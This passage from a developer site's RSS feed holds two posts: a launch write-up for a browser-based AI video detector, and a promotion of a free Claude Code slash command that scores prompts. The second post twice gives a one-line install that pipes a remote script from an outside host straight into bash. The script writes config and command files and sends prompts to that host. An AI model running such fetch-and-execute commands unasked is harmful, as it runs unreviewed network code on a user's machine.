&lt;h3 id=&quot;what-the-ai-video-detector-does&quot;&gt;What the AI Video Detector Does&lt;/h3&gt;
&lt;p&gt;Upload a clip and you get one of four verdict tiers, AI-Generated, Likely AI, Likely Real, or Real, backed by six independent signal families that each report their own status and explanation:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Visual Artifact Analysis&lt;/strong&gt;: per-frame generation fingerprints in texture and frequency patterns&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Temporal Coherence&lt;/strong&gt;: frame-to-frame motion statistics that generators consistently get wrong&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI Watermark Scan&lt;/strong&gt;: SynthID-class invisible watermarks embedded by Google and others&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content Provenance&lt;/strong&gt;: C2PA content credentials, the cryptographically signed kind OpenAI attaches to Sora videos&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Facial Authenticity&lt;/strong&gt;: a dedicated deepfake pass for face swaps and re-enactment artifacts&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File Forensics&lt;/strong&gt;: container metadata and encoder signatures left behind by generation pipelines&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The signals split into two classes, and the UI keeps them separate. Watermarks and credentials are definitive: a hit on either is effectively conclusive evidence of AI origin. The logic is one way by design, since most genuine camera footage carries no credential and plenty of generators skip watermarking, so absence proves nothing. The other four signals are probabilistic. They accumulate evidence and the verdict weighs them together.&lt;/p&gt;
&lt;h3 id=&quot;a-typical-detection-run&quot;&gt;A Typical Detection Run&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Drop an MP4, WebM, or MOV up to 30 seconds and 150 MB. Format and duration checks run in your browser before any upload, so an oversized file costs you nothing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Your browser does the first pass locally. It extracts up to six representative frames, computes frame-to-frame motion statistics, and reads the container metadata for encoder fingerprints. Only those frames upload. The full video never leaves your device.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The six dimensions come back with status chips reading CLEAN, SUSPICIOUS, FLAGGED, or UNAVAILABLE, plus the overall verdict tier. If the clip contains a visible face, the deepfake model runs as well, and a positive flag earns a separate Deepfake Suspected badge on top of the verdict.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Read the evidence panel. Mixed signals are normal on real-world clips, and each dimension explains what it found, why it matters, and what it cannot tell you.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;key-capabilities&quot;&gt;Key Capabilities&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Six Signals Beat One Score&lt;/strong&gt;: Research on detector generalization (DeCoF, arXiv 2402.02085) found temporal coherence to be the most robust signal against generators the detector has never seen, because it targets how video moves through time rather than how any specific model paints pixels. We run it alongside five other layers so a clip has to fool all of them at once.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A SynthID Detector Built In&lt;/strong&gt;: Google embeds SynthID watermarks in Veo output and OpenAI signs Sora videos with C2PA credentials. The detector scans for both on every run, which makes it one of the few places you can check a downloaded clip for either mark without writing code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Four Honest Verdict Tiers&lt;/strong&gt;: There is no accuracy percentage anywhere in the product, and we would gently suggest distrusting any detector that advertises one. Accuracy claims go stale with every generator release and every re-encode. Tiers plus visible evidence age better than a number that was measured on last year's models.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Browser-Side Privacy&lt;/strong&gt;: Frame extraction, motion statistics, and file forensics all run client-side. The frames that do upload sit in temporary storage, get cleared after a short retention window, and never train anything.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A Deepfake Pass With Its Own Badge&lt;/strong&gt;: Face-swap boundaries and re-enactment artifacts get a dedicated model rather than a share of one blended score. When a clip has no visible face, the dimension reports UNAVAILABLE and the UI says so plainly instead of guessing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Refunds on Failure&lt;/strong&gt;: A detection run costs 20 credits, and the charge confirms only when you receive a verdict. If the pipeline fails midway, credits come back automatically.&lt;/p&gt;
&lt;h3 id=&quot;stack-notes-for-the-engineers-in-the-room&quot;&gt;Stack Notes for the Engineers in the Room&lt;/h3&gt;
&lt;p&gt;The app is Next.js 15 deployed to Cloudflare Pages through OpenNext, sharing infrastructure with the rest of the Virality Predictor family: D1 with Drizzle ORM for accounting, Durable Objects for credit pool state, NextAuth v5 with Google OAuth, R2 for short-lived frame storage, Tailwind CSS v4 with Shadcn UI.&lt;/p&gt;
&lt;p&gt;The client does more work than you might expect. Canvas-based frame extraction picks representative frames with top-K frame-difference selection and a guaranteed floor, so even a static clip yields usable frames. Motion variance statistics and container metadata parsing also happen in the browser, which is what lets the full video stay on the device.&lt;/p&gt;
&lt;p&gt;Server-side, the frames fan out to specialist detection models, up to twelve concurrent calls per run with an AI-image pass and a deepfake pass per frame, gathered with allSettled and a success threshold. If more than half of the detection calls fail, the run aborts and refunds. A weighted aggregation engine then folds frame scores, temporal statistics, and forensics into per-dimension statuses and the final tier, with a safety bound that prevents gray-zone forensic evidence from pushing a verdict past Likely AI on its own.&lt;/p&gt;
&lt;p&gt;One number from our internal benchmarks, with that qualifier attached: AI-generated clips showed frame-to-frame motion variance roughly two orders of magnitude lower than handheld camera footage. That gap needs no knowledge of which generator made the clip, which is exactly why temporal analysis anchors the probabilistic side of the verdict. The aggregation thresholds are tuned on a small internal sample and will keep moving as generators do.&lt;/p&gt;
&lt;h3 id=&quot;pricing&quot;&gt;Pricing&lt;/h3&gt;
&lt;p&gt;Sign in with Google to get starter credits and see the full flow. Each detection run costs 20 credits, charged only on a successful verdict, with automatic refunds on failure. Credit packs and subscription plans top up one shared balance that also covers the Viral Potential Predictor and the Video Maker. No credit card is required to sign in. Full details are at viralitypredictor.net/pricing.&lt;/p&gt;
&lt;h3 id=&quot;closing&quot;&gt;Closing&lt;/h3&gt;
&lt;p&gt;The &lt;a rel=&quot;nofollow&quot; href=&quot;https://viralitypredictor.net/ai-video-detector&quot;&gt;AI Video Detector&lt;/a&gt; is live at &lt;a rel=&quot;nofollow&quot; href=&quot;https://viralitypredictor.net/ai-video-detector&quot;&gt;viralitypredictor.net/ai-video-detector&lt;/a&gt;. Drop in a clip you already know the origin of and check whether the evidence panel reaches the same conclusion you would.&lt;/p&gt;
&lt;p&gt;I built this because every detector I tried gave me a confident percentage and no way to interrogate it. If you have shipped detection or provenance tooling, wrestled with C2PA in a real pipeline, or have opinions on which signals deserve more weight, I would genuinely like to hear them. Drop a comment below.&lt;/p&gt;
</description>
<category>Launches</category>
<guid isPermaLink="true">https://coderlegion.com/19794/ai-video-detector</guid>
<pubDate>Sat, 06 Jun 2026 02:23:17 +0000</pubDate>
</item>
<item>
<title>I Built a Free Claude Code Slash Command That Scores Your Prompts Before You Run Them</title>
<link>https://coderlegion.com/14428/i-built-a-free-claude-code-slash-command-that-scores-your-prompts-before-you-run-them</link>
<description>&lt;p&gt;Most developers treat prompt quality like they treated code quality before linters existed — you find out it's bad when it breaks, not before.&lt;/p&gt;
&lt;p&gt;That's the &lt;em&gt;AI 'input quality' problem&lt;/em&gt;. And it's costing you more than you think.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Problem&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You write a prompt. You run it. The output is mediocre. You tweak the prompt. You run it again. Better, maybe. Or worse. You're not sure why.&lt;/p&gt;
&lt;p&gt;This loop happens dozens of times a day across AI-powered workflows, agent pipelines, and Claude Code sessions. There's no signal before you run. No pre-flight check. No linter for your input.&lt;br&gt;
For a single prompt that's annoying. For a workflow that runs 500 times a week, it's silent, compounding damage, bad outputs at scale with no upstream warning.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What I Built&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;PQS (Prompt Quality Score) is a pre-flight scoring engine. It grades your prompt across 8 dimensions before you send it to any model, for clarity, specificity, context, constraints, output format, role definition, examples, and chain-of-thought structure.&lt;/p&gt;
&lt;p&gt;You get a score out of 80, a dimensional breakdown, and three specific improvement suggestions. Before you run. Not after. Before a model ever sees it.&lt;/p&gt;
&lt;p&gt;Today I'm releasing /pqs-score as a free Claude Code slash command that brings PQS directly into your terminal workflow.&lt;/p&gt;
&lt;p&gt;Type /pqs-score inside Claude Code. That's it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How It Works&lt;/strong&gt;&lt;br&gt;
The slash command lives in .claude/commands/, the standard Claude Code location for custom slash commands. When you type /pqs-score followed by your prompt, it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reads your API key from ~/.pqs/config POSTs your prompt to the PQS&lt;br&gt;
scoring engine at pqs.onchainintel.net Returns your score, dimension&lt;br&gt;
breakdown, and top improvement suggestions inline in your Claude Code&lt;br&gt;
session&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No context switching. No browser tab. Score → fix → run, all in the terminal.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Zero Friction Install&lt;/strong&gt;&lt;br&gt;
&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=15932916881649258993&quot; alt=&quot;&quot;&gt;&lt;br&gt;
bashcurl -s &lt;a rel=&quot;nofollow&quot; href=&quot;https://pqs.onchainintel.net/install.sh&quot;&gt;https://pqs.onchainintel.net/install.sh&lt;/a&gt; | bash&lt;/p&gt;
&lt;p&gt;That's the entire install. The script will:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Generate a machine fingerprint (sha256 hash of hostname + username +&lt;br&gt;
OS — no PII leaves your machine) Hit the PQS API to mint your free&lt;br&gt;
key, tied to that fingerprint Write the key to ~/.pqs/config (mode&lt;br&gt;
600) Copy /pqs-score into ~/.claude/commands/&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No account. No email. No signup wall. Reinstall on the same machine and you get the same key back automatically, the fingerprint lookup is idempotent server-side.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What You Get Back&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Here's a real run. I typed /pqs-score write me a haiku about postgres inside Claude Code:&lt;br&gt;
&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=11474399549013104857&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Top fixes:&lt;br&gt;
  → Specify the tone or mood for the haiku (playful, technical, reverent)&lt;br&gt;
  → Define specific PostgreSQL aspects to focus on (performance, reliability, features)&lt;br&gt;
  → Request explanation of haiku structure or reasoning process&lt;br&gt;
──────────────────────────────────────&lt;br&gt;
Grade C on a haiku prompt. &lt;/p&gt;
&lt;p&gt;Makes sense, it scores well on clarity and output format (it's obvious what you want) but falls flat on role definition, examples, and chain-of-thought. The three fixes tell you exactly what to add.&lt;br&gt;
That's the whole point. You see the gap before the model does, giving you a chance to improve your prompt and thus your output from the model.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why This Matters For Agent Developers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you're building agents that call external APIs, your prompts are instructions to autonomous systems. A low-quality prompt doesn't just return a bad answer, it sends your agent down the wrong path, potentially making API calls, spending money, or taking actions based on a misunderstood instruction.&lt;/p&gt;
&lt;p&gt;Pre-flight scoring is the prompt equivalent of a type checker. Catch it before it runs.&lt;/p&gt;
&lt;p&gt;PQS is also x402-native, agents can pay per score in USDC on Base mainnet. The slash command uses a free API key for human developers. When your agents need to score prompts autonomously, they pay directly. Same infrastructure, two access patterns.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Get It&lt;/strong&gt;&lt;br&gt;
&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=7062130870232190282&quot; alt=&quot;&quot;&gt;&lt;br&gt;
bash# Install (one line)&lt;br&gt;
curl -s &lt;a rel=&quot;nofollow&quot; href=&quot;https://pqs.onchainintel.net/install.sh&quot;&gt;https://pqs.onchainintel.net/install.sh&lt;/a&gt; | bash&lt;/p&gt;
&lt;h2 id=&quot;restart-claude-code-then-use-it&quot;&gt;Restart Claude Code, then use it&lt;/h2&gt;
&lt;p&gt;/pqs-score your prompt here&lt;br&gt;
GitHub: github.com/OnChainAIIntel/pqs-claude-commands&lt;br&gt;
Free. Open source. No signup.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What's Next:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pqs-optimize — rewrites your prompt to score 60+ before you run it&lt;br&gt;
pqs-batch — score an entire prompt library and get aggregate quality&lt;br&gt;
metrics n8n node — drop PQS as a pre-flight gate before your AI node&lt;br&gt;
in any workflow&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you build something with it or hit a bug, open an issue on GitHub.&lt;/p&gt;
&lt;p&gt;PQS is built by Ken Burbary — digital marketing consultant, AI builder, and founder of OnChainIntel. Follow on X: &lt;a rel=&quot;nofollow&quot; href=&quot;http://x.com/kenburbary&quot;&gt;@kenburbary&lt;/a&gt; Follow on X: &lt;a rel=&quot;nofollow&quot; href=&quot;http://x.comonchainaiintel&quot;&gt;@OnChainAIIntel&lt;/a&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/14428/i-built-a-free-claude-code-slash-command-that-scores-your-prompts-before-you-run-them</guid>
<pubDate>Fri, 10 Apr 2026 10:00:52 +0000</pubDate>
</item>
</channel>
</rss>